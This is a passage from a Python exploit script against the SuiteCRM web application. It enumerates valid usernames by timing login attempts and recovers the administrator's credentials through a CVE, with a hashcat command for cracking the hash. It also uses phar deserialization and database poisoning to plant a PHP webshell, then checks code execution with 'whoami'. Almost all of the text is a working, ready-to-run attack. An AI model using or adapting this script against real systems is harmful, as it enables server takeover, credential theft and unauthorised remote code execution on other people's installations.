"industry": "",
"annual_revenue": "",
"employees": "",
"parent_name": "",
"parent_id": "",
"campaign_name": "",
"campaign_id": ""
}
s.post(url, data=poison_data, headers=referer, verify=False)
log(f'Fake account with payload shall now be assigned to the user with id {R}1{N}')
def add_dashlet(url, s, malicious_link):
exploit_data = {
'type' : 'web',
'type_module' : malicious_link
}
res = s.post(url + URLs['DashletAdd'], data=exploit_data, verify=False, allow_redirects=False)
return res.text
def view_dashlet(url, s, dashlet_link):
s.get(url + URLs['DashletView'] + dashlet_link, verify=False)
def get_user_id(url, s):
res = s.get(url + URLs['Index'], verify=False)
Id = re.findall(REGEXs['UserId'], res.text)
if(len(Id) > 0):
return Id[0]
elif(len(Id) == 0):
resp = s.get(url + '?module=Users', verify=False, allow_redirects=False)
Id = resp.headers['Location'].split('=')[-1] # For version 8.2.0
return Id
else:
return False
def create_campaign(url, s, user_id, user_name, CAMPAIGN_NAME="EXPLOIT"):
campaign_data = {
"module": "Campaigns",
"record": "",
"action": "WizardNewsletterSave",
"return_module": "Campaigns",
"return_id": "",
"return_action": "index",
"campaign_type": "NewsLetter",
"totalsteps": "2",
"currentstep": "1",
"wiz_direction": "continue_targetList",
"wiz_step1_name": CAMPAIGN_NAME,
"wiz_step1_assigned_user_name": user_name,
"wiz_step1_assigned_user_id": user_id,
"wiz_step1_status": "Planning",
"wiz_step1_campaign_type": "NewsLetter",
"wiz_step1_content": "",
"wiz_step2_budget": "",
"wiz_step2_actual_cost": "",
"wiz_step2_expected_revenue": "",
"wiz_step2_expected_cost": "",
"wiz_step2_currency_id": "-99",
"wiz_step2_impressions": "0",
"wiz_step2_objective": "",
"wiz_subscriptions_def_type": "2",
"wiz_step3_subscription_name": "",
"prospect_list_type_default": "default",
"wiz_step3_subscription_list_id": "",
"wiz_unsubscriptions_def_type": "2",
"wiz_step3_unsubscription_name": "",
"prospect_list_type_exempt": "exempt",
"wiz_step3_unsubscription_list_id": "",
"wiz_test_def_type": "2",
"wiz_step3_test_name": "",
"prospect_list_type_test": "test"
}
s.post(url, data=campaign_data, verify=False)
res = s.get(url + URLs['CampaignView'], verify=False)
Id = re.findall(rf'record=(.*?)">\s*{CAMPAIGN_NAME}', res.text)
if(len(Id) > 0):
return Id[0]
elif(len(Id) == 0):
Id = re.findall(rf'/campaigns/record/(.*?)\?.*?">\s*{CAMPAIGN_NAME}', res.text) # For version 8.2.0
print(Id)
return Id[0]
else:
return False
def store_maliciouis_payload(url, s, campaign_id, user_id):
pa = base64.b64decode(SERIAL_PAYLOAD)
path = input(f'Enter path for webshell (default: /proc/self/cwd/random_ws.php): ')
if(path == ''):
path = "/proc/self/cwd/random_ws.php"
new_path = f's:{len(path)}:"{path}"'
exp_serialised = base64.b64encode(pa.replace(b's:27:"/var/www/html/random_ws.php"', new_path.encode()))
pollute_object_data = {
'campaign_id' : campaign_id,
'assigned_user_id' : user_id,
'contents' : exp_serialised,
'description' : 'EXPLOIT',
'search_module' : 'Employees',
'name' : 'JRJGJK'
}
s.post(url + URLs['PolluteDb'], data=pollute_object_data, verify=False)
log('Db should have been pollute by now')
return path.split('/')[-1]
if __name__ == '__main__':
head()
parser = argparse.ArgumentParser(description="Exploit authenticated Vulnerability on SuiteCRM")
parser.add_argument('-u', '--username', help='Username to use')
parser.add_argument('-p', '--password', help='Password to use')
parser.add_argument('--rce-phar', action='store_true', help='Remote code execution via phar deserialisation')
parser.add_argument('--url', help='Target url: http://suite.com/index.php for version 7, http://suite.com/legacy/index.php for version 8', required=True)
parser.add_argument('--enum-users', help='Filename containing list of users', metavar='USERLIST')
args = parser.parse_args()
### Check args
if (args.username == None and args.password == None and args.enum_users == None):
parser.error('You should provide either -u USERNAME -p PASSWORD or --enum-users USERLIST')
if(args.enum_users == None and (args.username == None or args.password == None)):
parser.error('You should provide -u USERNAME and -p PASSWORD')
URL = parse_url_input(args.url)
if(args.enum_users != None):
wl = args.enum_users
with open(wl, 'r') as f:
data = list(map(lambda x: x.strip(), f.readlines()))
dont_exist = 'JKDLEJzoljkdfeqskhjEJKEHdkjnfdecz5654ezmlkde'
PASSWORD = 'fake_password_123456'
log('Enumerating users with time based method:')
moy_dont_exist = login_time(URL, dont_exist, PASSWORD)
log(f"User that doesn't exist: {moy_dont_exist} s")
for u in data:
moy = login_time(URL, u, PASSWORD)
if(moy - 0.06 > moy_dont_exist):
msg(f'User {u}: {moy} s probably \x1b[92mexists\x1b[0m')
else:
log(f'User {u}: {moy} s')
exit(0)
### REFERER if needed
referer = {'Referer' : URL}
user, password = args.username, args.password
log(f"Attacking target: {URL}")
log(f'Starting session..')
s = requests.Session()
s.get(URL, verify=False)
is_login = login(URL, user, password, s)
if not(is_login):
exit(0)
if(args.rce_phar):
log('Exploiting phar deserialization')
log(f"Checking Admin rights")
if not(isadmin(URL, s)):
log(f"{user} is not admin")
log(f'Exploiting CVE and recovering administrator\'s informations')
log(f'Default algo for password is {Y}bcryptmd5{N} \U0001F976 ')
try:
admin_user, admin_pass = recover(URL, s)
msg(f"Successfully recovered Administrator username/password:")
msg(f"username: {R}{admin_user}{N}")
msg(f"password: {R}{admin_pass}{N}")
log(f'hashcat -m 25600 -a 0 {B}HASH_FILE{N} {Y}WL{N}')
except:
err('Failed recovering admin name/password')
exit(0)
malicious_link, filename = upload_payload(URL, phar_jpeg, s)
if(malicious_link != False):
# poison_admin = input(f"You are not an admin, do you want to poison the real admin ?(y/n) ")
# if(poison_admin.upper() == 'Y'):
# log(f'Poisonning admin')
# poison_admin_user(URL, s, malicious_link)
# Link = URL[:-9] + filename + '?0=whoami'
# log(f'Once admin has clicked on the link, go to: {Link}')
PAYLOAD = 'phar://upload/' + malicious_link.split('=')[-1]
log(f'Adding malicious web dashlet into database.. ({PAYLOAD})')
dashlet_link = add_dashlet(URL, s, PAYLOAD)
msg(f'Viewing dashlet to trigger exploit: Link --> {dashlet_link}')
log(f'Checking if exploit worked..')
view_dashlet(URL, s, dashlet_link)
res = s.get(URL[:-9] + filename + '?0=whoami', verify=False)
if(res.status_code == 200):
msg('Exploit Worked !!!')
print(res.text)
else:
err('Failed, target probably patch or php > 8.0')
log('Trying to remove dashlet')
s.get(URL + URLs['DashletDel'] + dashlet_link)
else:
msg(f"Whououhh {user} is admin !!")
malicious_link, filename = upload_payload(URL, phar_jpeg, s)
if(malicious_link != False):
trigger_unserialize = input(f'You are admin, do you want to trigger deserialisation (if php<8.0) ?(y/n) ')
if(trigger_unserialize.upper() == 'Y'):
log(f'Triggering unserialize...')
s.get(malicious_link, headers=referer, verify=False)
res = s.get(URL[:-9] + filename + '?0=whoami', verify=False)
if('"Expires":1,"Discard":false,"Value":' in res.text):
msg(f'Exploit completed !! \U0001F600 ')
whoami_cmd = res.text.split('"')
whoami_res = whoami_cmd[-2].strip()
msg(f"whoami >> {whoami_res}")
else:
log('Exploiting arbitrary unserialize !!')
user_id = get_user_id(URL, s)
if(user_id == False):
err('Failed recovering user id...')
exit(0)
log(f'Creating campaign for user {user}')
campaign_id = create_campaign(URL, s, user_id, user)
if(campaign_id == False):
err('Failed finding campaign id...')
exit(0)
log(f'Poisonning DB with serialized payload')
payload_path = store_maliciouis_payload(URL, s, campaign_id, user_id)
log(f'Trigger unserialize using the advanced search named JRJGJK in the Employees module (?module=Employees)')
log(f'Once it is done go here: {URL[:-9] + payload_path}?0=whoami')